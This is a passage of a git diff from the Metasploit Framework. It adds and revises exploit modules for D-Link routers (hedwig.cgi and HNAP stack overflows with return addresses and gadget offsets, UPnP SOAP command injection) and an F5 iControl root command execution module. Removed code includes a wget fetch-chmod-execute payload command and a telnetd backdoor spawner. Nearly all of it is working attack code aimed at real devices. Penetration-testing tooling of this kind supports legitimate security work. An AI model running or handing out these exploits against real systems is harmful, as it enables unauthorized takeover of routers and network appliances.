targets[1] if target['auto'] + return Exploit::CheckCode::Appears + end + + return Exploit::CheckCode::Detected + end + + rescue ::Rex::ConnectionError + return Exploit::CheckCode::Safe + end + + Exploit::CheckCode::Unknown + end + + def exploit + print_status("#{peer} - Trying to access the vulnerable URL...") + + @my_target = target + check_code = check + + unless check_code == Exploit::CheckCode::Detected || check_code == Exploit::CheckCode::Appears + fail_with(Failure::NoTarget, "#{peer} - Failed to access the vulnerable URL") + end + + if @my_target.nil? || @my_target['auto'] + fail_with(Failure::NoTarget, "#{peer} - Failed to auto detect, try setting a manual target...") + end + + print_status("#{peer} - Exploiting #{@my_target.name}...") + execute_cmdstager( + :flavor => :echo, + :linemax => 185 + ) + end + + def prepare_shellcode(cmd) + buf = rand_text_alpha_upper(@my_target['Offset']) # Stack filler + buf << [@my_target.ret].pack("N") # Overwrite $ra -> jump to system + + # la $t9, system + # la $s1, 0x440000 + # jalr $t9 ; system + # addiu $a0, $sp, 0x28 # our command + + buf << rand_text_alpha_upper(40) # Command to execute must be at $sp+0x28 + buf << cmd # Command to execute + buf << "\x00" # NULL terminate the command + end + + def execute_command(cmd, opts) + shellcode = prepare_shellcode(cmd) + + begin + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => "/common/info.cgi", + 'encode_params' => false, + 'vars_post' => { + 'storage_path' => shellcode, + } + }, 5) + return res + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") + end + end +end diff --git a/modules/exploits/linux/http/dlink_hedwig_cgi_bof.rb b/modules/exploits/linux/http/dlink_hedwig_cgi_bof.rb new file mode 100644 index 0000000000..e455b14a64 --- /dev/null +++ b/modules/exploits/linux/http/dlink_hedwig_cgi_bof.rb @@ -0,0 +1,132 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'D-Link hedwig.cgi Buffer Overflow in Cookie Header', + 'Description' => %q{ + This module exploits an anonymous remote code execution vulnerability on several D-Link + routers. The vulnerability exists in the handling of HTTP queries to the hedwig.cgi with + long value cookies. This module has been tested successfully on D-Link DIR300v2.14, DIR600 + and the DIR645A1_FW103B11 firmware. + }, + 'Author' => + [ + 'Roberto Paleari', # Vulnerability discovery + 'Craig Heffner', # also discovered the vulnerability / help with some parts of this exploit + 'Michael Messner ', # Metasploit module and verification on several other routers + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['OSVDB', '95950'], + ['EDB', '27283'], + ['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10008'], #advisory on vendor web site + ['URL', 'http://www.dlink.com/us/en/home-solutions/connect/routers/dir-645-wireless-n-home-router-1000'], #vendor web site of router + ['URL', 'http://roberto.greyhats.it/advisories/20130801-dlink-dir645.txt'] #original advisory + ], + 'Platform' => 'linux', + 'Arch' => ARCH_MIPSLE, + 'Targets' => + [ + [ 'Multiple Targets: D-Link DIR-645 v1.03, DIR-300 v2.14, DIR-600', + { + 'Offset' => 973, + 'LibcBase' => 0x2aaf8000, # Router + #'LibcBase' => 0x40854000, # QEMU environment + 'System' => 0x000531FF, # address of system + 'CalcSystem' => 0x000158C8, # calculate the correct address of system + 'CallSystem' => 0x000159CC, # call our system + } + ] + ], + 'DisclosureDate' => 'Feb 08 2013', + 'DefaultTarget' => 0)) + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') + end + + def check + begin + res = send_request_cgi({ + 'uri' => "/hedwig.cgi", + 'method' => 'GET' + }) + + if res && [200, 301, 302].include?(res.code) && res.body.to_s =~ /unsupported HTTP request/ + return Exploit::CheckCode::Detected + end + rescue ::Rex::ConnectionError + return Exploit::CheckCode::Unknown + end + + Exploit::CheckCode::Unknown + end + + def exploit + print_status("#{peer} - Accessing the vulnerable URL...") + + unless check == Exploit::CheckCode::Detected + fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL") + end + + print_status("#{peer} - Exploiting...") + execute_cmdstager( + :flavor => :echo, + :linemax => 200, + :concat_operator => " && " + ) + end + + def prepare_shellcode(cmd) + shellcode = rand_text_alpha_upper(target['Offset']) # padding + shellcode << [target['LibcBase'] + target['System']].pack("V") # s0 - address of system + shellcode << rand_text_alpha_upper(16) # unused reg $s1 - $s4 + shellcode << [target['LibcBase'] + target['CallSystem']].pack("V") # s5 - second gadget (call system) + + # .text:000159CC 10 00 B5 27 addiu $s5, $sp, 0x170+var_160 # get the address of our command into $s5 + # .text:000159D0 21 28 60 02 move $a1, $s3 # not used + # .text:000159D4 21 30 20 02 move $a2, $s1 # not used + # .text:000159D8 21 C8 00 02 move $t9, $s0 # $s0 - system + # .text:000159DC 09 F8 20 03 jalr $t9 # call system + # .text:000159E0 21 20 A0 02 move $a0, $s5 # our cmd -> into a0 as parameter for system + + shellcode << rand_text_alpha_upper(12) # unused registers $s6 - $fp + shellcode << [target['LibcBase'] + target['CalcSystem']].pack("V") # $ra - gadget nr 1 (prepare the parameter for system) + + # .text:000158C8 21 C8 A0 02 move $t9, $s5 # s5 - our second gadget + # .text:000158CC 09 F8 20 03 jalr $t9 # jump the second gadget + # .text:000158D0 01 00 10 26 addiu $s0, 1 # s0 our system address - lets calculate the right address + + shellcode << rand_text_alpha_upper(16) # filler in front of our command + shellcode << cmd + end + + def execute_command(cmd, opts) + shellcode = prepare_shellcode(cmd) + + begin + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => "/hedwig.cgi", + 'cookie' => "uid=#{shellcode}", + 'encode_params' => false, + 'vars_post' => { + rand_text_alpha(4) => rand_text_alpha(4) + } + }) + return res + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") + end + end +end diff --git a/modules/exploits/linux/http/dlink_hnap_bof.rb b/modules/exploits/linux/http/dlink_hnap_bof.rb new file mode 100644 index 0000000000..62f500e8eb --- /dev/null +++ b/modules/exploits/linux/http/dlink_hnap_bof.rb @@ -0,0 +1,152 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'D-Link HNAP Request Remote Buffer Overflow', + 'Description' => %q{ + This module exploits an anonymous remote code execution vulnerability on different + D-Link devices. The vulnerability is due to an stack based buffer overflow while + handling malicious HTTP POST requests addressed to the HNAP handler. This module + has been successfully tested on D-Link DIR-505 in an emulated environment. + }, + 'Author' => + [ + 'Craig Heffner', # vulnerability discovery and initial exploit + 'Michael Messner ' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'Platform' => 'linux', + 'Arch' => ARCH_MIPSBE, + 'References' => + [ + ['CVE', '2014-3936'], + ['BID', '67651'], + ['URL', 'http://www.devttys0.com/2014/05/hacking-the-d-link-dsp-w215-smart-plug/'], # blog post from Craig including PoC + ['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10029'] + ], + 'Targets' => + [ + # + # Automatic targeting via fingerprinting + # + [ 'Automatic Targeting', { 'auto' => true } ], + [ 'D-Link DSP-W215 - v1.0', + { + 'Offset' => 1000000, + 'Ret' => 0x405cac, # jump to system - my_cgi.cgi + } + ], + [ 'D-Link DIR-505 - v1.06', + { + 'Offset' => 30000, + 'Ret' => 0x405234, # jump to system - my_cgi.cgi + } + ], + [ 'D-Link DIR-505 - v1.07', + { + 'Offset' => 30000, + 'Ret' => 0x405c5c, # jump to system - my_cgi.cgi + } + ] + ], + 'DisclosureDate' => 'May 15 2014', + 'DefaultTarget' => 0)) + + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') + end + + def check + begin + res = send_request_cgi({ + 'uri' => "/HNAP1/", + 'method' => 'GET' + }) + + if res && [200, 301, 302].include?(res.code) + if res.body =~ /DIR-505/ && res.body =~ /1.07/ + @my_target = targets[3] if target['auto'] + return Exploit::CheckCode::Appears + elsif res.body =~ /DIR-505/ && res.body =~ /1.06/ + @my_target = targets[2] if target['auto'] + return Exploit::CheckCode::Appears + elsif res.body =~ /DSP-W215/ && res.body =~ /1.00/ + @my_target = targets[1] if target['auto'] + return Exploit::CheckCode::Appears + else + return Exploit::CheckCode::Detected + end + end + rescue ::Rex::ConnectionError + return Exploit::CheckCode::Safe + end + + Exploit::CheckCode::Unknown + end + + def exploit + print_status("#{peer} - Trying to access the vulnerable URL...") + + @my_target = target + check_code = check + + unless check_code == Exploit::CheckCode::Detected || check_code == Exploit::CheckCode::Appears + fail_with(Failure::NoTarget, "#{peer} - Failed to detect a vulnerable device") + end + + if @my_target.nil? || @my_target['auto'] + fail_with(Failure::NoTarget, "#{peer} - Failed to auto detect, try setting a manual target...") + end + + print_status("#{peer} - Exploiting #{@my_target.name}...") + execute_cmdstager( + :flavor => :echo, + :linemax => 185 + ) + end + + def prepare_shellcode(cmd) + buf = rand_text_alpha_upper(@my_target['Offset']) # Stack filler + buf << rand_text_alpha_upper(4) # $s0, don't care + buf << rand_text_alpha_upper(4) # $s1, don't care + buf << rand_text_alpha_upper(4) # $s2, don't care + buf << rand_text_alpha_upper(4) # $s3, don't care + buf << rand_text_alpha_upper(4) # $s4, don't care + buf << [@my_target.ret].pack("N") # $ra + + # la $t9, system + # la $s1, 0x440000 + # jalr $t9 ; system + # addiu $a0, $sp, 0x28 # our command + + buf << rand_text_alpha_upper(40) # Stack filler + buf << cmd # Command to execute + buf << "\x00" # NULL-terminate the command + end + + def execute_command(cmd, opts) + shellcode = prepare_shellcode(cmd) + + begin + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => "/HNAP1/", + 'encode_params' => false, + 'data' => shellcode + }, 5) + return res + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") + end + end +end diff --git a/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb b/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb index 27b6bc1e9e..1f9b293979 100644 --- a/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb +++ b/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb @@ -1,18 +1,15 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = AverageRanking + Rank = NormalRanking include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::Remote::HttpServer - include Msf::Exploit::EXE - include Msf::Exploit::FileDropper - include Msf::Auxiliary::CommandShell + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -20,202 +17,105 @@ class Metasploit3 < Msf::Exploit::Remote 'Description' => %q{ Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP interface. Since it is a blind OS command injection vulnerability, there is no - output for the executed command when using the CMD target. Additionally, a target - to deploy a native mipsel payload, when wget is available on the target device, has - been added. This module has been tested on DIR-865 and DIR-645 devices. + output for the executed command. This module has been tested on DIR-865 and DIR-645 devices. }, 'Author' => [ - 'Michael Messner ', # Vulnerability discovery and Metasploit module + 'Michael Messner ', # Vulnerability discovery and Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, 'References' => [ - [ 'OSVDB', '94924' ], - [ 'BID', '61005' ], - [ 'EDB', '26664' ], - [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-020' ] + ['OSVDB', '94924'], + ['BID', '61005'], + ['EDB', '26664'], + ['URL', 'http://www.s3cur1ty.de/m1adv2013-020'] ], 'DisclosureDate' => 'Jul 05 2013', 'Privileged' => true, - 'Platform' => %w{ linux unix }, 'Payload' => { - 'DisableNops' => true, + 'DisableNops' => true }, - 'Targets' => + 'Targets' => [ - [ 'CMD', #all devices + [ 'MIPS Little Endian', { - 'Arch' => ARCH_CMD, - 'Platform' => 'unix' + 'Platform' => 'linux', + 'Arch' => ARCH_MIPSLE } ], - [ 'Linux mipsel Payload', #DIR-865, DIR-645 and others with wget installed + [ 'MIPS Big Endian', # unknown if there are BE devices out there ... but in case we have a target { - 'Arch' => ARCH_MIPSLE, - 'Platform' => 'linux' + 'Platform' => 'linux', + 'Arch' => ARCH_MIPS } ], ], - 'DefaultTarget' => 1 + 'DefaultTarget' => 0 )) + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') + register_options( [ - Opt::RPORT(49152), #port of UPnP SOAP webinterface - OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]), - OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]), - OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]), + Opt::RPORT(49152) # port of UPnP SOAP webinterface ], self.class) end + def check + begin + res = send_request_cgi({ + 'uri' => '/InternetGatewayDevice.xml' + }) + if res && [200, 301, 302].include?(res.code) && res.body.to_s =~ /DIR-/ + return Exploit::CheckCode::Detected + end + rescue ::Rex::ConnectionError + return Exploit::CheckCode::Unknown + end + + Exploit::CheckCode::Unknown + end + def exploit - @new_portmapping_descr = rand_text_alpha(8) - @new_external_port = rand(65535) - @new_internal_port = rand(65535) + print_status("#{peer} - Trying to access the device ...") - if target.name =~ /CMD/ - exploit_cmd - else - exploit_mips + unless check == Exploit::CheckCode::Detected + fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable device") end + + print_status("#{peer} - Exploiting...") + + execute_cmdstager( + :flavor => :echo, + :linemax => 400 + ) end - def exploit_cmd - if not (datastore['CMD']) - fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") - end - cmd = payload.encoded - type = "add" - res = request(cmd, type) - if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") - end - print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state") - type = "delete" - res = request(cmd, type) - if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") - end - return - end - - def exploit_mips - - downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8)) - - #thx to Juan for his awesome work on the mipsel elf support - @pl = generate_payload_exe - @elf_sent = false - - # - # start our server - # - resource_uri = '/' + downfile - - if (datastore['DOWNHOST']) - service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri - else - # do not use SSL for this part - # XXX: See https://dev.metasploit.com/redmine/issues/8498 - # It must be possible to do this without directly editing the - # datastore. - if datastore['SSL'] - ssl_restore = true - datastore['SSL'] = false - end - - #we use SRVHOST as download IP for the coming wget command. - #SRVHOST needs a real IP address of our download host - if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") - srv_host = Rex::Socket.source_address(rhost) - else - srv_host = datastore['SRVHOST'] - end - - service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri - - print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...") - start_service({'Uri' => { - 'Proc' => Proc.new { |cli, req| - on_request_uri(cli, req) - }, - 'Path' => resource_uri - }}) - - # Restore SSL preference - # XXX: See https://dev.metasploit.com/redmine/issues/8498 - # It must be possible to do this without directly editing the - # datastore. - datastore['SSL'] = true if ssl_restore - end - - # - # download payload - # - print_status("#{rhost}:#{rport} - Asking the D-Link device to take and execute #{service_url}") - #this filename is used to store the payload on the device - filename = rand_text_alpha_lower(8) - - cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}; chmod 777 /tmp/#{filename}; /tmp/#{filename}" - type = "add" - res = request(cmd, type) - if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") - end - - # wait for payload download - if (datastore['DOWNHOST']) - print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the D-Link device to download the payload") - select(nil, nil, nil, datastore['HTTP_DELAY']) - else - wait_linux_payload - end - - register_file_for_cleanup("/tmp/#{filename}") - - type = "delete" - res = request(cmd, type) - if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") - end - end - - def request(cmd, type) + def execute_command(cmd, opts) + new_portmapping_descr = rand_text_alpha(8) + new_external_port = rand(32767) + 32768 + new_internal_port = rand(32767) + 32768 uri = '/soap.cgi' + soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" + data_cmd = "" data_cmd << "" data_cmd << "" - - if type == "add" - vprint_status("#{rhost}:#{rport} - adding portmapping") - - soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" - - data_cmd << "" - data_cmd << "#{@new_portmapping_descr}" - data_cmd << "" - data_cmd << "`#{cmd}`" - data_cmd << "1" - data_cmd << "#{@new_external_port}" - data_cmd << "" - data_cmd << "TCP" - data_cmd << "#{@new_internal_port}" - data_cmd << "" - else - #we should clean it up ... otherwise we are not able to exploit it multiple times - vprint_status("#{rhost}:#{rport} - deleting portmapping") - soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping" - - data_cmd << "" - data_cmd << "TCP#{@new_external_port}" - data_cmd << "" - end - + data_cmd << "" + data_cmd << "#{new_portmapping_descr}" + data_cmd << "" + data_cmd << "`#{cmd}`" + data_cmd << "1" + data_cmd << "#{new_external_port}" + data_cmd << "" + data_cmd << "TCP" + data_cmd << "#{new_internal_port}" + data_cmd << "" data_cmd << "" data_cmd << "" @@ -232,36 +132,9 @@ class Metasploit3 < Msf::Exploit::Remote }, 'data' => data_cmd }) - return res + return res rescue ::Rex::ConnectionError - vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") - return nil - end - end - - # Handle incoming requests from the server - def on_request_uri(cli, request) - #print_status("on_request_uri called: #{request.inspect}") - if (not @pl) - print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") - return - end - print_status("#{rhost}:#{rport} - Sending the payload to the server...") - @elf_sent = true - send_response(cli, @pl) - end - - # wait for the data to be sent - def wait_linux_payload - print_status("#{rhost}:#{rport} - Waiting for the target to request the ELF payload...") - - waited = 0 - while (not @elf_sent) - select(nil, nil, nil, 1) - waited += 1 - if (waited > datastore['HTTP_DELAY']) - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it can't connect back to us?") - end + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") end end end diff --git a/modules/exploits/linux/http/dlink_upnp_exec_noauth_telnetd.rb b/modules/exploits/linux/http/dlink_upnp_exec_noauth_telnetd.rb deleted file mode 100644 index 0c5ba23950..0000000000 --- a/modules/exploits/linux/http/dlink_upnp_exec_noauth_telnetd.rb +++ /dev/null @@ -1,188 +0,0 @@ -## -# This module requires Metasploit: http//metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' - -class Metasploit3 < Msf::Exploit::Remote - Rank = ExcellentRanking - - include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::FileDropper - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'D-Link Devices UPnP SOAP Telnetd Command Execution', - 'Description' => %q{ - Various D-Link Routers are vulnerable to OS command injection in the UPnP SOAP - interface. This module has been tested successfully on DIR-300, DIR-600, DIR-645, - DIR-845 and DIR-865. According to the vulnerability discoverer, more D-Link devices - may be affected. - }, - 'Author' => - [ - 'Michael Messner ', # Vulnerability discovery and Metasploit module - 'juan vazquez' # minor help with msf module - ], - 'License' => MSF_LICENSE, - 'References' => - [ - [ 'OSVDB', '94924' ], - [ 'BID', '61005' ], - [ 'EDB', '26664' ], - [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-020' ] - ], - 'DisclosureDate' => 'Jul 05 2013', - 'Privileged' => true, - 'Platform' => 'unix', - 'Arch' => ARCH_CMD, - 'Payload' => - { - 'Compat' => { - 'PayloadType' => 'cmd_interact', - 'ConnectionType' => 'find', - }, - }, - 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' }, - 'Targets' => - [ - [ 'Automatic', { } ], - ], - 'DefaultTarget' => 0 - )) - - register_options( - [ - Opt::RPORT(49152) #port of UPnP SOAP webinterface - ], self.class) - - register_advanced_options( - [ - OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet command', 10]), - OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25]) - ], self.class) - end - - def tel_timeout - (datastore['TelnetTimeout'] || 10).to_i - end - - def banner_timeout - (datastore['TelnetBannerTimeout'] || 25).to_i - end - - def exploit - @new_portmapping_descr = rand_text_alpha(8) - @new_external_port = rand(32767) + 32768 - @new_internal_port = rand(32767) + 32768 - telnetport = rand(32767) + 32768 - - vprint_status("#{rhost}:#{rport} - Telnetport: #{telnetport}") - - cmd = "telnetd -p #{telnetport}" - type = "add" - res = request(cmd, type) - if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") - end - type = "delete" - res = request(cmd, type) - if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") - end - - print_status("#{rhost}:#{rport} - Trying to establish a telnet connection...") - ctx = { 'Msf' => framework, 'MsfExploit' => self } - sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i, 'Context' => ctx }) - - if sock.nil? - fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!") - end - - add_socket(sock) - - print_status("#{rhost}:#{rport} - Trying to establish a telnet session...") - prompt = negotiate_telnet(sock) - if prompt.nil? - sock.close - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a telnet session") - else - print_good("#{rhost}:#{rport} - Telnet session successfully established...") - end - - handler(sock) - end - - def request(cmd, type) - - uri = '/soap.cgi' - - data_cmd = "" - data_cmd << "" - data_cmd << "" - - if type == "add" - vprint_status("#{rhost}:#{rport} - adding portmapping") - - soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" - - data_cmd << "" - data_cmd << "#{@new_portmapping_descr}" - data_cmd << "" - data_cmd << "`#{cmd}`" - data_cmd << "1" - data_cmd << "#{@new_external_port}" - data_cmd << "" - data_cmd << "TCP" - data_cmd << "#{@new_internal_port}" - data_cmd << "" - else - #we should clean it up ... otherwise we are not able to exploit it multiple times - vprint_status("#{rhost}:#{rport} - deleting portmapping") - soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping" - - data_cmd << "" - data_cmd << "TCP#{@new_external_port}" - data_cmd << "" - end - - data_cmd << "" - data_cmd << "" - - begin - res = send_request_cgi({ - 'uri' => uri, - 'vars_get' => { - 'service' => 'WANIPConn1' - }, - 'ctype' => "text/xml", - 'method' => 'POST', - 'headers' => { - 'SOAPAction' => soapaction, - }, - 'data' => data_cmd - }) - return res - rescue ::Rex::ConnectionError - fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server") - end - end - - def negotiate_telnet(sock) - begin - Timeout.timeout(banner_timeout) do - while(true) - data = sock.get_once(-1, tel_timeout) - return nil if not data or data.length == 0 - if data =~ /\x23\x20$/ - return true - end - end - end - rescue ::Timeout::Error - return nil - end - end - -end diff --git a/modules/exploits/linux/http/dolibarr_cmd_exec.rb b/modules/exploits/linux/http/dolibarr_cmd_exec.rb index 8776c48df3..1513892d77 100644 --- a/modules/exploits/linux/http/dolibarr_cmd_exec.rb +++ b/modules/exploits/linux/http/dolibarr_cmd_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,9 +12,9 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info={}) super(update_info(info, - 'Name' => "Dolibarr ERP & CRM 3 Post-Auth OS Command Injection", + 'Name' => "Dolibarr ERP/CRM Post-Auth OS Command Injection", 'Description' => %q{ - This module exploits a vulnerability found in Dolibarr ERP/CRM's + This module exploits a vulnerability found in Dolibarr ERP/CRM 3's backup feature. This software is used to manage a company's business information such as contacts, invoices, orders, stocks, agenda, etc. When processing a database backup request, the export.php function @@ -78,10 +78,10 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => @uri.path }) - return [nil, nil] if not (res and res.headers['Set-Cookie']) + return [nil, nil] if res.nil? || res.get_cookies.empty? # Get the session ID from the cookie - m = res.headers['Set-Cookie'].match(/(DOLSESSID_.+);/) + m = res.get_cookies.match(/(DOLSESSID_.+);/) id = (m.nil?) ? nil : m[1] # Get the token from the decompressed HTTP body response diff --git a/modules/exploits/linux/http/dreambox_openpli_shell.rb b/modules/exploits/linux/http/dreambox_openpli_shell.rb index b9175e4cdb..b788d79503 100644 --- a/modules/exploits/linux/http/dreambox_openpli_shell.rb +++ b/modules/exploits/linux/http/dreambox_openpli_shell.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/esva_exec.rb b/modules/exploits/linux/http/esva_exec.rb index 273d9fe54f..de1a4d8942 100644 --- a/modules/exploits/linux/http/esva_exec.rb +++ b/modules/exploits/linux/http/esva_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/f5_icontrol_exec.rb b/modules/exploits/linux/http/f5_icontrol_exec.rb new file mode 100644 index 0000000000..a62532c29a --- /dev/null +++ b/modules/exploits/linux/http/f5_icontrol_exec.rb @@ -0,0 +1,143 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => "F5 iControl Remote Root Command Execution", + 'Description' => %q{ + This module exploits an authenticated remote command execution + vulnerability in the F5 BIGIP iControl API (and likely other + F5 devices). + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'bperry' # Discovery, Metasploit module + ], + 'References' => + [ + ['CVE', '2014-2928'], + ['URL', 'http://support.f5.com/kb/en-us/solutions/public/15000/200/sol15220.html'] + ], + 'Platform' => ['unix'], + 'Arch' => ARCH_CMD, + 'Targets' => + [ + ['F5 iControl', {}] + ], + 'Privileged' => true, + 'DisclosureDate' => "Sep 17 2013", + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(443), + OptBool.new('SSL', [true, 'Use SSL', true]), + OptString.new('TARGETURI', [true, 'The base path to the iControl installation', '/']), + OptString.new('USERNAME', [true, 'The username to authenticate with', 'admin']), + OptString.new('PASSWORD', [true, 'The password to authenticate with', 'admin']) + ], self.class) + end + + def check + get_hostname = %Q{ + + + + + + } + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'), + 'method' => 'POST', + 'data' => get_hostname, + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] + }) + + res.body =~ /y:string">(.*)<\/return/ + hostname = $1 + send_cmd("whoami") + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'), + 'method' => 'POST', + 'data' => get_hostname, + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] + }) + + res.body =~ /y:string">(.*)<\/return/ + new_hostname = $1 + + if new_hostname == "root.a.b" + pay = %Q{ + + + + #{hostname} + + + + } + + send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'), + 'method' => 'POST', + 'data' => pay, + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] + }) + + return Exploit::CheckCode::Vulnerable + end + + return Exploit::CheckCode::Safe + end + + def send_cmd(cmd) + pay = %Q{ + + + + `#{cmd}`.a.b + + + + } + + send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'), + 'method' => 'POST', + 'data' => pay, + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] + }) + end + + def exploit + filename = Rex::Text.rand_text_alpha_lower(5) + + print_status('Sending payload in chunks, might take a small bit...') + i = 0 + while i < payload.encoded.length + cmd = "echo #{Rex::Text.encode_base64(payload.encoded[i..i+4])}|base64 --decode|tee -a /tmp/#{filename}" + send_cmd(cmd) + i = i + 5 + end + + print_status('Triggering payload...') + + send_cmd("sh /tmp/#{filename}") + end +end diff --git a/modules/exploits/linux/http/foreman_openstack_satellite_code_exec.rb b/modules/exploits/linux/http/foreman_openstack_satellite_code_exec.rb index bc02f5d255..dff154782b 100644 --- 